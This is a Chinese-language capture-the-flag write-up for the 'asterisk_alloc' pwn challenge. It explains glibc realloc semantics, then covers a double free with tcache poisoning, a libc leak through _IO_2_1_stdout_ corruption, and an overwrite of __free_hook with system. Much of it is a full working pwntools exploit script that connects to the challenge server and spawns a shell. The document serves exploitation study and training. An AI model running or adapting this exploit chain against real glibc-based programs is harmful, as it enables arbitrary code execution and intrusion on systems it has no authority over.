BUU-TWCTF_online_2019_asterisk_alloc-WP
这道题涉及到 realloc 的利用,还蛮新奇的,第一次接触。昨天晚上卡了一晚上没做出来,今天终于是解完了。
首先 realloc 在申请的空间不同时,行为也是不同的。我们记申请的大小为 Nsize,ptr 指向的堆块的大小为 Osize,那么在调用 realloc(ptr,Nsize) 时有以下几种情况
Nsize == 0此时等同于free,且返回值为 0Nsize < Osize切割原 chunk,讲多余部分free掉Nsize == Osize不做操作Nsize > Osize尽可能地尝试通过后向合并(包括 Tcache 这样的一般不会被合并的 chunk)来满足申请,如果通过后向合并可以满足 Nsize,则进行合并并返回原指针;否则会新malloc一个 Nsize 的 chunk,将原 chunk 的数据拷贝至新 chunk,free掉原 chunk(注意这种情况下不会后向合并)Nsize = -1也就是申请一个机器无法分配的大小,由于我没有看源码,不知道实际行为如何,但是通过调试得到的结论为返回 0,且不会对 ptr 原指向的 chunk 进行free
本题的漏洞很明显,主要是 double free,又是 2.27 版本的 libc,通过 Tcache poisoning 可以很容易地劫持各种 hook,那么主要的问题就在于如何 leak libc,程序本身没有输出的功能,据说这个时候要 leak 的话基本就是要攻击 _IO_FILE 了。原理是 main_arena 和 _IO_2_1_stdout_ 低二字节相同,通过爆破四位就可以分配到 _IO_2_1_stdout_ 上,然后可以修改其 flag 和 _IO_write_base 来实现输出。
第一步要塞满 Tcache 并获得一个 Unsorted Bin,并且要能实现对该 Unsorted Bin的 fd 的修改。本来的话用 malloc 可以容易地解决,但是本题 malloc 只能用一次,所以还是要通过灵活使用 realloc 来实现。具体方法为
- 通过
realloc申请并释放三个大小不同的 chunk,记作 A B C。 - 将 B 申请回来,
free七次,填满Tcache - 通过
realloc(0)实现一次释放和指针置零,此时 B 进入Unsorted bin中(C 存在的目的是为了防止 这里 top_chunk 的合并) - 通过
realloc申请回 A(如果上一次不使用realloc(0)而是直接free这里就无法申请回 A 了) - 通过
realloc扩展 A,将 B 合并,实现chunk overlapping,此时我们拥有了对 B 的 UAF 的能力,考虑写 B 的fd,由于 B 是Unsorted bin的尾节点fd会指向main_arena + 96,我们写fd的低二字节,让fd指向_IO_2_1_stdout_。由于我们只能使用realloc和 一个指针来多次分配申请,所以这里还需要改写 B 的size域,保证之后清空指针的时候 B 不会进入我们poisoning的链中,只要把size改成一个乱七八糟的值就行了。 - 申请
size(B),realloc(0) - 再次申请,此时就获得了一个在
_IO_2_1_stdout_的 chunk 了。
也就是下面这样
realloc(0x10,'\n')
realloc(0,'')
realloc(0x80,'\n')
realloc(0,'')
realloc(0x20,'\n')
realloc(0,'')
realloc(0x80,'\n')
for i in range(7):
free_r()
realloc(0,'')#free to unsorted_bin
realloc(0x10,'\n')
overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF)
realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte)
realloc(0,'')
realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF))
realloc(0,'')
realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps
注意对 _IO_2_1_stdout_ 的改写,需要把 flag 改写为 0xfbad1887,这样之后调用 write 的时候就会输出从 _IO_write_base 到 _IO_write_ptr 中的数据了。那么我们在改写 flag 的同时改写 _IO_write_base,让它指向 _IO_write_base 原指向的位置附近的一个存有 libc 地址的空间就可以实现 leak 了。这里我选择让它指向 _IO_file_jumps。
实现 leak 之后就是重来一次 Tcache poisoning,分配到 __free_hook 上写 system getshell。这里又会比较麻烦,因为当前分配到的是一个显然不合法的 chunk,如果 free 的话必然报错,所以就需要 realloc(-1) 来避免 free 并置空指针,之后的操作和之前一样,只要改变 A B C 的大小就基本可以照抄之前的方法了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import struct
#sh = process("./TWCTF_online_2019_asterisk_alloc")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = remote("node3.buuoj.cn",29556)
libc = ELF("./libcs/libc-2.27-buu.so")
def malloc(size,payload):
sh.sendlineafter("choice: ",'1')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Data: ",payload)
def calloc(size,payload):
sh.sendlineafter("choice: ",'2')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Data: ",payload)
def realloc(size,payload):
sh.sendlineafter("choice: ",'3')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Data: ",payload)
def free_m():
sh.sendlineafter("choice: ",'4')
sh.sendlineafter("Which: ",'m')
def free_c():
sh.sendlineafter("choice: ",'4')
sh.sendlineafter("Which: ",'c')
def free_r():
sh.sendlineafter("choice: ",'4')
sh.sendlineafter("Which: ",'r')
realloc(0x10,'\n')
realloc(0,'')
realloc(0x80,'\n')
realloc(0,'')
realloc(0x20,'\n')
realloc(0,'')
realloc(0x80,'\n')
for i in range(7):
free_r()
realloc(0,'')#free to unsorted_bin
realloc(0x10,'\n')
overWriteByte = struct.pack("<H",libc.symbols["_IO_2_1_stdout_"] & 0xFFFF)
realloc(0x10 + 0x80 + 0x10,'a' * 0x10 + p64(0) + p64(0x21) + overWriteByte)
realloc(0,'')
realloc(0x80,struct.pack("B",libc.symbols["_IO_2_1_stdout_"] & 0xFF))
realloc(0,'')
realloc(0x80,p64(0xfbad1887) + p64(0) * 3 + '\x58')#_IO_write_base point to _IO_file_jumps
libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"]
log.success("libc_base:" + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
sh.sendline("100")#pass
realloc(-1,'\n')#set ptr=0 without free
realloc(0xC0,'\n')
realloc(0,'')
realloc(0xD0,'\n')
realloc(0,'')
realloc(0xE0,'\n')
realloc(0,'')
realloc(0xD0,'\n')
for i in range(7):
free_r()
realloc(0,'')#free to unsorted_bin
realloc(0xC0,'\n')
realloc(0xC0 + 0x10 + 0xD0,'a' * 0xC0 + p64(0) + p64(0x61) + p64(free_hook - 8))
realloc(0,'')
realloc(0xD0,p64(free_hook - 8))
realloc(0,'')
realloc(0xD0,'/bin/sh\x00' + p64(system_addr))
free_r()
sh.interactive()